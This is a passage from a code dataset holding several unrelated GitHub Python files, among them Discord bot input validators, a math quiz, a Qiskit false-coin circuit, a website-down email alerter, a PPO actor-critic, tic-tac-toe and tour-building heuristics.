if self.allowed_words and content not in self.allowed_words:\n return False\n\n if len(content) > self.max_length:\n error_msg = f\"Message is too long. Max length: {self.max_length}\"\n asyncio.gather(message.channel.send(embed=Embed.error(error_msg)))\n return False\n\n if len(content) < self.min_length:\n error_msg = f\"Message is too short. Min length: {self.min_length}\"\n asyncio.gather(message.channel.send(embed=Embed.error(error_msg)))\n return False\n\n return True\n\n def convert(self, argument):\n return argument\n\n\nclass AttachmentWaiter(MessageWaiter):\n def __init__(self, ctx, **kwargs):\n super().__init__(ctx, max_words=None, **kwargs)\n\n def convert(self, argument):\n return argument\n\n def check(self, message):\n if not super().check(message):\n return False\n\n if len(message.attachments) == 0:\n return False\n return True\n\n async def wait(self, store=True, raw=False):\n message = await super().wait(raw=True)\n if not raw:\n attachment = message.attachments[0]\n if store:\n return await FileHelper.store(await attachment.read(), attachment.filename)\n else:\n return attachment.url\n\n return message\n\n\nclass TimezoneWaiter(StrWaiter):\n def __init__(self, ctx, **kwargs):\n super().__init__(ctx, **kwargs)\n\n @property\n def instructions(self):\n return \"https://en.wikipedia.org/wiki/List_of_tz_database_time_zones\"\n\n def convert(self, argument):\n try:\n return pytz.timezone(argument.title())\n except pytz.exceptions.UnknownTimeZoneError:\n raise ConversionFailed(\"Timezone not found.\")\n\n\nclass CountryWaiter(StrWaiter):\n def __init__(self, ctx, **kwargs):\n super().__init__(ctx, **kwargs)\n\n def convert(self, argument):\n try:\n country = Country(argument.upper())\n except CountryNotFound:\n raise ConversionFailed(\"Country not found.\")\n\n return country\n\n\nclass RangeWaiter(StrWaiter):\n def __init__(self, ctx, **kwargs):\n super().__init__(ctx, max_words=2, **kwargs)\n\n @property\n def instructions(self):\n return \" \"\n\n def convert(self, argument):\n try:\n min, max = [int(x) for x in argument.split()]\n return range(min, max)\n except:\n raise ConversionFailed(\"Message needs to be a range.\")\n\n\nclass EnumWaiter(StrWaiter):\n def __init__(self, ctx, enum, properties_to_skip=None, **kwargs):\n super().__init__(ctx, **kwargs)\n if properties_to_skip is None:\n properties_to_skip = []\n\n self.enum = enum\n self.allowed_words = [x.name for x in enum if x not in properties_to_skip]\n self.case_sensitive = False\n\n def convert(self, argument):\n try:\n return self.enum[argument.lower()]\n except:\n raise ConversionFailed(\"Message not valid.\")\n\n\nclass BoolWaiter(StrWaiter):\n\n @property\n def instructions(self):\n return \"yes / no\"\n\n def __init__(self, ctx, **kwargs):\n super().__init__(ctx, allowed_words=('yes', 'y', 'n', 'no'), case_sensitive=False, **kwargs)\n\n def convert(self, argument):\n lowered = argument.lower()\n\n if lowered in (\"yes\", \"y\"):\n return True\n elif lowered in (\"no\", \"n\"):\n return False\n\n raise ConversionFailed(\"Message needs to be yes/no.\")\n\n\nclass MemberWaiter(MessageWaiter):\n\n @property\n def instructions(self):\n return \"@mention\"\n\n def get_id(argument):\n for id in re.findall(r'<@!?([0-9]+)>', argument):\n return int(id)\n\n def convert(self, argument):\n # commands.MemberConverter().convert(self.ctx, argument)\n id = self.get_id(argument)\n if id is not None:\n return self.ctx.guild.get_member(id)\n\n raise ConversionFailed(\"Message needs to be a @mention.\")\n\n\nclass TextChannelWaiter(MessageWaiter):\n\n @property\n def instructions(self):\n return \"#mention\"\n\n def convert(self, argument):\n match = re.match(r'<#([0-9]+)>$', argument)\n if match:\n id = int(match.group(1))\n return self.ctx.guild.get_channel(id)\n\n raise ConversionFailed(\"Message needs to be a #mention.\")\n\n\nclass RoleWaiter(MessageWaiter):\n\n def convert(self, argument):\n guild = self.ctx.guild\n\n match = _get_id_match(argument) or re.match(r'<@&([0-9]+)>$', argument)\n if match:\n result = guild.get_role(int(match.group(1)))\n else:\n result = discord.utils.get(guild._roles.values(), name=argument)\n\n if result is None:\n raise ConversionFailed(\"Role not found.\")\n return result\n\n\nclass TimeWaiter(MessageWaiter):\n __slots__ = (\"before\", \"after\")\n\n def __init__(self, ctx, before=None, after=None, **kwargs):\n super().__init__(ctx, **kwargs)\n\n self.before = before\n self.after = after\n\n @property\n def instructions(self):\n return \"HH:MM:SS\"\n\n def convert(self, argument):\n missing_count = 8 - len(argument)\n if missing_count > 0:\n for i in range(len(argument) + 1, 9):\n if i % 3 == 0:\n argument += \":\"\n else:\n argument += \"0\"\n try:\n hours, minutes, seconds = [int(x) for x in argument.split(\":\")]\n except:\n raise ConversionFailed(\"Needs to be HH:MM:SS.\")\n\n return datetime.time(hours, minutes, seconds)\n\n\nclass DateWaiter(StrWaiter):\n __slots__ = (\"before\", \"after\")\n\n def __init__(self, ctx, before=None, after=None, **kwargs):\n super().__init__(ctx, min_length=len(\"1-1-1\"), max_length=len(\"1994-02-06\"), **kwargs)\n\n self.before = before\n self.after = after\n\n @property\n def instructions(self):\n return \"YYYY-MM-DD\"\n\n def convert(self, argument):\n try:\n year, month, day = argument.split(\"-\")\n year = year.zfill(4)\n month = month.zfill(2)\n day = day.zfill(2)\n return datetime.datetime.strptime(year + month + day, \"%Y%m%d\").date()\n except ValueError:\n raise ConversionFailed(\"Message needs to be a date: YYYY-MM-DD.\")\n\n def check(self, message):\n if not super().check(message):\n return False\n\n if self.before is not None and self.converted >= self.before:\n error_msg = f\"Date can't be after {self.before}\"\n asyncio.gather(message.channel.send(embed=Embed.error(error_msg)))\n return False\n\n if self.after is not None and self.converted <= self.after:\n error_msg = f\"Date can't be before {self.after}\"\n asyncio.gather(message.channel.send(embed=Embed.error(error_msg)))\n return False\n\n return True\n\n\nclass TimeDeltaWaiter(MessageWaiter):\n def __init__(self, ctx, *args, **kwargs):\n super().__init__(ctx, *args, max_words=2, **kwargs)\n\n @property\n def instructions(self):\n return \"Examples: '2 days', '1 hour', '10 weeks'\"\n\n @staticmethod\n def _convert(argument):\n amount, time = argument.split()\n\n if not amount.isdigit():\n raise ConversionFailed(\"Needs to be a number. example: **2** hours.\")\n\n amount = int(amount)\n\n if not time.endswith(\"s\"):\n time = time + \"s\"\n\n possible_values = (\n \"days\", \"seconds\", \"microseconds\", \"milliseconds\", \"minutes\", \"hours\", \"weeks\", \"months\", \"years\")\n\n conversions = \\\n {\n \"months\": lambda x: x * 4.348214155,\n \"years\": lambda x: x * 52.17856986008\n }\n\n if time in conversions:\n amount = conversions[time](amount)\n time = \"weeks\"\n\n if time not in possible_values:\n raise ConversionFailed(\"Time can only be: \" + \", \".join(possible_values) + \"\\nExample: 2 **days**.\")\n\n return datetime.timedelta(**{time: amount})\n\n def convert(self, argument):\n return self._convert(argument)\n\n\nwaiter_mapping = \\\n {\n str: StrWaiter,\n int: IntWaiter,\n bool: BoolWaiter,\n datetime.date: DateWaiter,\n discord.Member: MemberWaiter,\n discord.TextChannel: TextChannelWaiter,\n discord.Role: RoleWaiter,\n }\n\n\nclass ReactionWaiter(Waiter):\n def __init__(self, ctx, message, emojis, members=None, channels=None):\n self.ctx = ctx\n self.message = message\n self.emojis = emojis\n self.members = members or []\n self.channels = channels or []\n\n async def add_reactions(self):\n for emoji in self.emojis:\n await self.message.add_reaction(emoji)\n\n async def clear_reactions(self):\n try:\n await self.message.clear_reactions()\n except:\n pass\n\n async def wait(self, raw=False, timeout=120, remove=False):\n try:\n reaction, user = await self.bot.wait_for(\n 'reaction_add',\n timeout=timeout,\n check=self.check)\n except asyncio.TimeoutError:\n return None\n\n if remove:\n try:\n await self.message.remove_reaction(reaction, user)\n except:\n pass\n\n if raw:\n return reaction, user\n else:\n return str(reaction.emoji)\n\n def check(self, reaction, user):\n if reaction.message.id != self.message.id:\n return False\n\n if self.channels:\n if reaction.message.channel.id not in [x.id for x in self.channels]:\n return False\n\n if self.members:\n if user.id not in [x.id for x in self.members]:\n return False\n\n if str(reaction.emoji) not in self.emojis:\n return False\n\n return True\n","repo_name":"claderoki/Intergalactica-Discord-Bot","sub_path":"src/discord/helpers/waiters/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":17065,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"22704959051","text":"from random import randint\n\n# consumer\n\n\ndef calculateAnswer(lhs, rhs, oparator):\n if oparator == '+':\n return lhs + rhs\n elif oparator == '-':\n return lhs - rhs\n elif oparator == '*':\n return lhs * rhs\n elif oparator == '/':\n return lhs / rhs\n elif oparator == '**':\n return lhs ** rhs\n raise Exception('Unkown Operator')\n\n\ndef generatorQuestion():\n ops = \"/*-+\"\n opIndex = randint(0, len(ops) - 1)\n operator = ops[opIndex]\n lhs = randint(0, 10)\n rhs = randint(0, 10)\n while(rhs == 0 and operator == \"/\"):\n rhs = randint(0, 10)\n\n return lhs, rhs, operator\n\n\ndef isAccurateEnoughAnswer(giveAnswer, correctAnswer, tolerance=0.01):\n difference = abs(float(giveAnswer) - float(correctAnswer))\n return difference <= tolerance\n\n\ntotalQuestion = 10\ncorrect = 0\n\nfor i in range(totalQuestion):\n question = generatorQuestion()\n correctAnswer = calculateAnswer(question[0], question[1], question[2])\n playerAnswer = input('{0} {2} {1} = '.format(\n question[0], question[1], question[2]))\n if(isAccurateEnoughAnswer(correctAnswer, playerAnswer)):\n print('Correct')\n correct += 1\n else:\n print('wrong. Correct answer = ' + str(correctAnswer))\n\nprint(\"You got {0} correct answer out of {1}. or {2}% correct\".format(\n correct, totalQuestion, correct/totalQuestion*100))\n","repo_name":"abhijith365/python-Math-Quiz","sub_path":"math_Quiz_game.py","file_name":"math_Quiz_game.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"32"} +{"seq_id":"18013593672","text":"import subprocess\nimport sys\nfrom setuptools.command.develop import develop\nimport setuptools\nfrom sys import platform\n\nclass DevelopWrapper(develop):\n \"\"\"Compiles the otm-python-api so that pyotm can\n call on the OTM api.\"\"\"\n\n def run(self):\n # Run this first so the develop stops in case \n # these fail otherwise the Python package is\n # successfully developed\n self._compile_otm_python_api()\n develop.run(self)\n\n def _compile_otm_python_api(self):\n try:\n if platform == \"linux\" or platform == \"linux2\" or platform == \"darwin\":\n subprocess.call('mvn package -f javacnct/pom.xml -DskipTests'.split(' ')) \n elif platform == \"win32\":\n subprocess.call('mvn package -f javacnct/pom.xml -DskipTests'.split(' '), shell=True)\n except Exception as err:\n print(\"Please install maven\")\n sys.exit(1)\n\nwith open(\"../README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"otm\",\n version=\"0.1\",\n author=\"Gabriel Gomes\",\n author_email=\"gomes@berkeley.edu\",\n description=\"Python package for OTM\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/ggomes/otm-tools\",\n packages=setuptools.find_packages(),\n # classifiers=[\n # \"Programming Language :: Python :: 3\",\n # \"License :: OSI Approved :: MIT License\",\n # \"Operating System :: OS Independent\",\n # ],\n cmdclass={'develop': DevelopWrapper}\n)\n","repo_name":"ggomes/otm-tools","sub_path":"python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34906188511","text":"import sys,time,math\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom collections import Counter\nfrom qiskit import QuantumCircuit, transpile, QuantumRegister, ClassicalRegister\nfrom qiskit.providers.aer import QasmSimulator\nfrom qiskit.visualization import plot_histogram\nfrom qiskit import Aer\nfrom qiskit.visualization import plot_state_city\nfrom qiskit import IBMQ\n\n\ndef main(M = 16, numberOfCoins = 8 , indexOfFalseCoin = 6, backend = \"local_qasm_simulator\" , shots = 1 ):\n if numberOfCoins < 4 or numberOfCoins >= M:\n raise Exception(\"Please use numberOfCoins between 4 and \", M-1)\n if indexOfFalseCoin < 0 or indexOfFalseCoin >= numberOfCoins:\n raise Exception(\"indexOfFalseCoin must be between 0 and \", numberOfCoins-1)\n \n qr = QuantumRegister(numberOfCoins+1, 'qr')\n cr = ClassicalRegister(numberOfCoins+1,'cr')\n circuit = QuantumCircuit(qr,cr)\n N = numberOfCoins\n #backend = Aer.get_backend('')\n\n #Create uniform superposition of all strings of length N\n for i in range(N):\n circuit.h(qr[i])\n\n #Perform XOR(x) by applying CNOT gates sequentially from qr[0] to qr[N-1] and storing the result to qr[N]\n for i in range(N):\n circuit.cx(qr[i],qr[N])\n\n # Measure qr[N] and store the result to cr[N].\n # continue if cr[N] is zero, or repeat otherwise\n circuit.measure(qr[N], cr[N])\n\n circuit.x(qr[N]).c_if(cr, 0)\n circuit.h(qr[N]).c_if(cr, 0)\n\n # rewind the computation when cr[N] is not zero\n for i in range(N):\n circuit.h(qr[i]).c_if(cr, 2**N)\n\n #----- Construct the quantum beam balance\n k = indexOfFalseCoin\n # Apply the quantum beam balance on the desired superposition state\n #(marked by cr equal to zero)\n circuit.cx(qr[k], qr[N]).c_if(cr, 0)\n\n # --- Identify the false coin\n # Apply Hadamard transform on qr[0] ... qr[N-1]\n for i in range(N):\n circuit.h(qr[i]).c_if(cr, 0)\n \n for i in range(N):\n circuit.measure(qr[i],cr[i])\n\n backend_sim = Aer.get_backend(backend)\n\n job = backend_sim.run(transpile(circuit,backend_sim),shots=shots)\n result = job.result()\n answer = result.get_counts(circuit)\n\n print(\"Device \" + backend + \" counts \" + str(answer))\n plot_histogram(answer,filename='histogram7_4.png')\n\n # Get most common label\n for key in answer.keys():\n normalFlag, _ = Counter(key[1:]).most_common(1)[0]\n for i in range(2,len(key)):\n if key[i] != normalFlag:\n print(\"False coin index is: \", len(key) - i - 1)\n\n\n#################################################\n# main\n#################################################\nif __name__ == '__main__':\n M = 9 #Maximum qubits available\n numberOfCoins = 8 #Up to M-1, where M is the number of qubits available\n indexOfFalseCoin = 6 #This should be 0, 1, ..., numberOfCoins - 1,\n backend = \"qasm_simulator\"\n \n shots = 1 # We perform a one-shot experiment\n main(M, numberOfCoins, indexOfFalseCoin, backend, shots)\n","repo_name":"dsaf2007/QuantumComputing","sub_path":"HomeWork2/Listing7_4.py","file_name":"Listing7_4.py","file_ext":"py","file_size_in_byte":2995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73773680411","text":"import os\nimport smtplib\nimport email.message\nfrom email.mime import base, multipart\nfrom credenciais import*\nfrom datetime import datetime\n\n\ndef enviar_email(mensagem_erro):\n corpo_email = f\"\"\"\n

    Website unavailable!!!

    \n

    Erro: {mensagem_erro}

    \n

    Logs attached for your analysis.

    \n \"\"\"\n\n msg = multipart.MIMEMultipart()\n msg['Subject'] = \"Website Down\"\n msg['From'] = credentials['user']\n msg['To'] = credentials['user']\n password = credentials['password']\n\n corpo = email.message.Message()\n corpo.add_header('Content-Type', 'text/html')\n corpo.set_payload(corpo_email)\n msg.attach(corpo)\n\n anx = open('logs.txt', 'rb')\n anexo = base.MIMEBase('application', 'octet-stream')\n anexo.set_payload(anx.read())\n anexo.add_header('Content-Disposition', f'attachment; filename=\"{os.path.basename(anx.name)}\"')\n msg.attach(anexo)\n\n s = smtplib.SMTP('smtp.gmail.com: 587')\n s.starttls()\n # Login Credentials for sending the mail\n s.login(msg['From'], password)\n s.sendmail(msg['From'], [msg['To']], msg.as_string().encode('utf-8'))\n print('Email enviado')\n\n\ndef criar_arquivo(arq, msg_erro=''):\n data_hora = datetime.now()\n data_hora_atual = data_hora.strftime('%d/%m/%Y %H:%M:%S')\n try:\n text = 'Log Analysis: Identifying and Resolving Errors'\n a = open(arq, 'wt+')\n a.write('-' * 133)\n a.write(f'\\n{text:>88}\\n')\n a.write('-' * 133)\n a.write(f'\\n\\nConnection failure: Next attempt in 10 seconds... > | Error: {msg_erro} | {data_hora_atual}\\n')\n a.write('-' * 133)\n a.close()\n except:\n print('Houve algum erro na criação do arquivo')\n else:\n print(f'Arquivo {arq} criado com sucesso!')\n\n\ndef atualizar_arquivo(arq, msg_erro=''):\n data_hora = datetime.now()\n data_hora_atual = data_hora.strftime('%d/%m/%Y %H:%M:%S')\n try:\n a = open(arq, 'at')\n except:\n print('Houve algum erro na abertura do arquivo')\n else:\n try:\n a.write(f'\\nConnection failure: Next attempt in 10 seconds... > | Error: {msg_erro} | {data_hora_atual}\\n')\n a.write('-' * 133)\n except:\n print('Houve um erro na hora de escrever os dados')\n else:\n print(f'Novo registro adicionado em {arq}')\n a.close()\n\n\ndef logs_email(arq, msg_erro=''):\n data_hora = datetime.now()\n data_hora_atual = data_hora.strftime('%d/%m/%Y %H:%M:%S')\n try:\n a = open(arq, 'at')\n except:\n print('Houve algum erro na abertura do arquivo')\n else:\n try:\n a. write(f'\\nConnection failure: Alert sent by email > | Error: {msg_erro} | {data_hora_atual}\\n')\n a.write('-' * 133)\n except:\n print('Houve um erro na hora de escrever os dados')\n else:\n print(f'Novo registro adicionado em {arq}')\n a.close()\n","repo_name":"jdeveloperanalyst/Website-Up-Or-Down","sub_path":"lib/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74710279452","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.distributions import Categorical\n\nimport pdb\n\nclass ActorCritic(nn.Module):\n \"\"\"Some Information about ActorCritic\"\"\"\n def __init__(self, state_space, action_space, hidden_size):\n super(ActorCritic, self).__init__()\n \n self.head = nn.Sequential(\n nn.Linear(state_space, hidden_size),\n nn.ReLU()\n )\n\n self.actor = nn.Sequential(\n nn.Linear(hidden_size, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, action_space)\n )\n\n self.critic = nn.Sequential(\n nn.Linear(hidden_size, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, 1)\n ) \n\n def forward(self, x):\n x = self.head(x)\n value = self.critic(x)\n action = self.actor(x)\n return action, value\n \n def act(self, x):\n logits, value = self.forward(x)\n\n logits = F.softmax(logits, dim=-1)\n probs = Categorical(logits)\n action = probs.sample()\n\n return action,probs.log_prob(action)\n \n def evaluate(self, state, action):\n logits, value = self.forward(state)\n logits = F.softmax(logits, dim=-1) \n probs = Categorical(logits)\n return action, probs.log_prob(action), value, probs.entropy()\n","repo_name":"DarylRodrigo/rl_lib","sub_path":"Policy Gradient/src/PPO/ActorCritic.py","file_name":"ActorCritic.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"32"} +{"seq_id":"38571286609","text":"'''\noptimized using binary search and take-nottake cases\n'''\nfrom bisect import bisect_left as lb\nclass Solution:\n def jobScheduling(self, startTime: List[int], endTime: List[int], profit: List[int]) -> int:\n \n jobs = []\n \n n = len(profit)\n \n for i in range(n):\n jobs.append([startTime[i],endTime[i],profit[i]])\n \n jobs.sort()\n startTime.sort()\n \n @cache\n def recur(idx):\n if idx>=n:\n return 0\n \n ans =0\n # if we are taking, we need to find the next index to which we go\n newidx = lb(startTime, jobs[idx][1])\n \n #take, take into acc the profit\n ans = max(ans, recur(newidx)+jobs[idx][2])\n \n #nottake, no need to add anything\n ans = max(ans, recur(idx+1))\n \n return ans\n \n val = recur(0)\n \n return val","repo_name":"iamheavymetalx7/LeetCode-Submissions","sub_path":"1235-maximum-profit-in-job-scheduling/1235-maximum-profit-in-job-scheduling.py","file_name":"1235-maximum-profit-in-job-scheduling.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"7734170328","text":"import pandas as pd\nimport numpy as np\nimport matplotlib\n#matplotlib.style.use('ggplot')\n\n#loading CSV files\np1_data_test_df = pd.read_csv('p1_data_test.csv',header=0)\np1_data_train_df = pd.read_csv('p1_data_train.csv',header=0)\n\ndef plot_bar():\n from matplotlib import pyplot as plt\n\n k = 1\n p1_data_test_df[::k].plot.bar()\n plt.title(\"Temperatura em diferentes locais da planta\")\n plt.show()\n\ndef plot_lines():\n from matplotlib import pyplot as plt\n\n fig = plt.figure()\n k = 1\n ax1 = fig.add_subplot(2,2,1)\n ax1.plot(p1_data_test_df['Temp1'][::k])\n ax1.set_title('Temp1')\n\n ax1 = fig.add_subplot(2,2,2)\n ax1.plot(p1_data_test_df['Temp2'][::k])\n ax1.set_title('Temp2')\n\n ax1 = fig.add_subplot(2,2,3)\n ax1.plot(p1_data_test_df['Temp3'][::k])\n ax1.set_title('Temp3')\n\n ax1 = fig.add_subplot(2,2,4)\n ax1.plot(p1_data_test_df['Temp4'][::k])\n ax1.set_title('Temp4')\n\n plt.show()\n\n#plt.plot(np.random.randn(100).cumsum(),'*-')\n#plt.show()\ndef plot_():\n from matplotlib import pyplot as plt\n k = 1\n plt.plot(p1_data_test_df['Temp1'][::k], '*-',color='green',label='Temp1')\n plt.plot(p1_data_test_df['Temp2'][::k], '*-',color='blue',label='Temp2')\n plt.plot(p1_data_test_df['Temp3'][::k], '*-',color='red',label='Temp3')\n plt.plot(p1_data_test_df['Temp4'][::k], '*-',color='black',label='Temp4')\n plt.legend()\n plt.show()\n\nfrom matplotlib import pyplot as plt\ntmp1 = p1_data_test_df['Temp3']\ntmp1.plot()\nplt.show()\n","repo_name":"jrandson/desafio-radix","sub_path":"visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70272874971","text":"import numpy as np\r\nimport pandas as pd\r\nfrom collections import Counter\r\nimport os\r\n\r\nclass PropertyData:\r\n def __init__(self, colNames, chunkSize, colItems, colUsers):\r\n self.colNames = colNames\r\n self.chunkSize = chunkSize\r\n self.colItems = colItems\r\n self.colUsers = colUsers\r\n\r\n # Transforms .csv file to pandas format in Python\r\n def csvToPandas(self, filename):\r\n i=0\r\n arrayDF = []\r\n for chunk in pd.read_csv(filename, header=None, index_col=False, chunksize=self.chunkSize):\r\n simplifiedData = self.removeDuplicates(chunk.iloc[:, self.colNames])\r\n correctUsersData = self.removeNoneUsers(simplifiedData, self.colUsers)\r\n arrayDF.append(correctUsersData)\r\n print(i)\r\n i += 1\r\n\r\n df = pd.concat(arrayDF)\r\n # print(df.head(10))\r\n return df\r\n\r\n # Separates a dataframe into n separate dataframes provided in the 'ratios' array\r\n def partitionDataframe(self, dataframe, ratios):\r\n assert sum(ratios) == 1\r\n splitCumul = np.cumsum(ratios)[:-1]\r\n splitIndex = [int(np.floor(sc * len(dataframe))) for sc in splitCumul]\r\n splitDataframes = np.split(dataframe, splitIndex)\r\n return splitDataframes\r\n\r\n def removeDuplicates(self, dataframe):\r\n return dataframe.drop_duplicates()\r\n\r\n def removeNoneUsers(self, dataframe, colUsers):\r\n errorName = \"none\"\r\n unknownName = \"unknown\"\r\n removedNoneDF = dataframe[dataframe[colUsers] != errorName]\r\n return removedNoneDF[removedNoneDF[colUsers] != unknownName]\r\n\r\n\r\n def orderByCol(self, dataframe, col):\r\n return dataframe.sort_values([col])\r\n\r\n # Removes rows in the dataframe where the column entry 'col' for that row appears fewer times than\r\n # 'threshold' in the dataframe\r\n def removeSparseEntries(self, dataframe, threshold, col):\r\n truncatedDF = dataframe.groupby(col).filter(lambda x: len(x) >= threshold)\r\n return truncatedDF\r\n\r\n def alternateRemoveSparse(self, dataframe, col1, col2, threshold1, threshold2, nIter):\r\n iteratedDF = dataframe.copy()\r\n for i in range(nIter):\r\n print(len(iteratedDF))\r\n iteratedDF = self.removeSparseEntries(iteratedDF, threshold1, col1)\r\n print(\"iter=\", i, \", rem1\")\r\n print(len(iteratedDF))\r\n iteratedDF = self.removeSparseEntries(iteratedDF, threshold2, col2)\r\n print(\"iter=\", i, \", rem2\")\r\n print(len(iteratedDF))\r\n\r\n return iteratedDF","repo_name":"dan-lin/AdaptiveHybridRS","sub_path":"PropertyData.py","file_name":"PropertyData.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71028029533","text":"#!/usr/bin/python\nimport csv\n\nwith open('test.csv','wb') as csv_file:\n writer = csv.writer(csv_file, delimiter=' ')\n for i in range(11):\n for j in range(11):\n writer.writerow([str(i)+\".00\",str(j)+\".00\",str(i+j)+\".00\"])\n\n\n\n ","repo_name":"jangel97/NNinC","sub_path":"generate_dataset.py","file_name":"generate_dataset.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1393547209","text":"import os\n\n\nclass Game:\n def __init__(self):\n self.game_board = ['_', '_', '_', '_', '_', '_', '_', '_', '_']\n self.player = 'X'\n self.game_active = True\n self.count = 0\n self.current_play = ''\n\n def display_board(self):\n os.system(\"clear\")\n print(\"press 'q' to exit game\\n\\n Tic Tac Toe\\n\")\n print(self.game_board[0:3])\n print(self.game_board[3:6])\n print(self.game_board[6:])\n\n def x_o_turn(self):\n self.count += 1\n if self.count % 2 == 0:\n self.player = 'O'\n else:\n self.player = 'X'\n\n def board_update(self):\n self.current_play = input(\"\\nChoose an empty board space (1-9) to place your {}: \".format(self.player)).lower()\n game.check_input()\n\n def check_input(self):\n if self.current_play == 'q':\n game.game_exit()\n try:\n if int(self.current_play) in range(1, 10):\n self.current_play = int(self.current_play)\n game.check_play()\n else:\n game.input_error()\n except:\n game.input_error()\n\n def check_play(self):\n if self.game_board[self.current_play - 1] == '_':\n self.game_board[self.current_play - 1] = self.player\n else:\n game.display_board()\n print('\\n!!! That play is already taken !!!')\n game.board_update()\n\n def input_error(self):\n os.system(\"clear\")\n game.display_board()\n print(\"\\n!!! You may only enter a digit from 1-9 !!!\")\n game.board_update()\n\n def check_board(self):\n win_test = self.player * 3\n if game.game_board[0] + game.game_board[3] + game.game_board[6] == win_test:\n game.game_over()\n elif game.game_board[1] + game.game_board[4] + game.game_board[7] == win_test:\n game.game_over()\n elif game.game_board[2] + game.game_board[5] + game.game_board[8] == win_test:\n game.game_over()\n elif game.game_board[0] + game.game_board[1] + game.game_board[2] == win_test:\n game.game_over()\n elif game.game_board[3] + game.game_board[4] + game.game_board[5] == win_test:\n game.game_over()\n elif game.game_board[6] + game.game_board[7] + game.game_board[8] == win_test:\n game.game_over()\n elif game.game_board[0] + game.game_board[4] + game.game_board[8] == win_test:\n game.game_over()\n elif game.game_board[2] + game.game_board[4] + game.game_board[6] == win_test:\n game.game_over()\n temp = 0\n for _ in game.game_board:\n if _ == \"_\":\n temp += 1\n if temp == 0:\n self.player = \"Cat\"\n game.game_over()\n\n def play_game(self):\n while self.game_active == True:\n game.display_board()\n game.x_o_turn()\n game.board_update()\n game.check_board()\n\n def game_over(self):\n self.game_active = False\n game.display_board()\n print(\"\\nGAME OVER\")\n print(\"\\n{} wins the game\".format(self.player))\n input(\"\\nenter to continue\")\n os.system(\"clear\")\n game.play_again()\n\n def play_again(self):\n again = input(\"Play again? Enter 'Y'es or just Enter to quit: \").lower()\n if again[0] == 'y':\n self.game_board = ['_', '_', '_', '_', '_', '_', '_', '_', '_']\n self.player = 'X'\n self.game_active = True\n self.count = 0\n game.play_game()\n else:\n os.system(\"clear\")\n\n def game_exit(self):\n os.system(\"clear\")\n input(\"Game cancelled. Enter\")\n os.system(\"clear\")\n os.system(exit())\n\ngame = Game()\ngame.play_game()\n","repo_name":"JeffHacker/tic-tac-toe---2-player","sub_path":"ttt.py","file_name":"ttt.py","file_ext":"py","file_size_in_byte":3788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6394698187","text":"from copy import deepcopy\nfrom lab1.distance_counter import calculate_distance\nfrom random import sample\n\n\ndef k_regret_connector(algos, distance_matrix, start_with=None, k=1):\n cycles = sample(list(range(len(distance_matrix))), len(algos))\n\n if start_with is not None:\n cycles = start_with\n picked_nodes = deepcopy(cycles)\n\n cycles = [[c] for c in cycles]\n visited = []\n for c in cycles:\n visited += c\n\n history = [deepcopy(cycles)]\n enough = []\n\n while sum([len(c) for c in cycles]) < len(distance_matrix):\n min_regret = int(10e20)\n best_algo = -1\n for i, algo in enumerate(algos):\n if i in enough:\n continue\n best_cycle, best_node = algo(distance_matrix, visited, cycles[i])\n best_cost = calculate_distance(distance_matrix, best_cycle) - calculate_distance(distance_matrix, cycles[i])\n regret = 0\n sub_visited = visited + [best_node]\n for ik in range(k - 1):\n sub_cycle, sub_node = algo(distance_matrix, sub_visited,\n cycles[i])\n sub_cost = calculate_distance(distance_matrix, sub_cycle) - calculate_distance(distance_matrix,\n cycles[i])\n regret += sub_cost - best_cost\n sub_visited.append(sub_node)\n if regret < min_regret:\n min_regret = regret\n best_algo = i\n res_cycle, res_node = algos[best_algo](distance_matrix, visited,\n cycles[best_algo])\n cycles[best_algo] = deepcopy(res_cycle)\n visited.append(res_node)\n history.append(deepcopy(cycles))\n if len(cycles[best_algo]) >= len(distance_matrix) // len(cycles) \\\n and len(enough) + 1 != len(cycles):\n enough.append(best_algo)\n return history, picked_nodes\n\n\ndef turns_connector(algos, distance_matrix):\n cycles = sample(list(range(len(distance_matrix))), len(algos))\n # cycles = [61, 4]\n picked_nodes = deepcopy(cycles)\n cycles = [[c] for c in cycles]\n visited = []\n for c in cycles:\n visited += c\n\n history = [deepcopy(cycles)]\n\n while len(visited) != len(distance_matrix):\n for ai, algo in enumerate(algos):\n cycle, visited_node = algo(distance_matrix, visited, cycles[ai])\n cycles[ai] = cycle\n history.append(deepcopy(cycles))\n visited.append(visited_node)\n return history, picked_nodes\n","repo_name":"BlaiseCz/imo-lab","sub_path":"lab1/connector.py","file_name":"connector.py","file_ext":"py","file_size_in_byte":2621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} 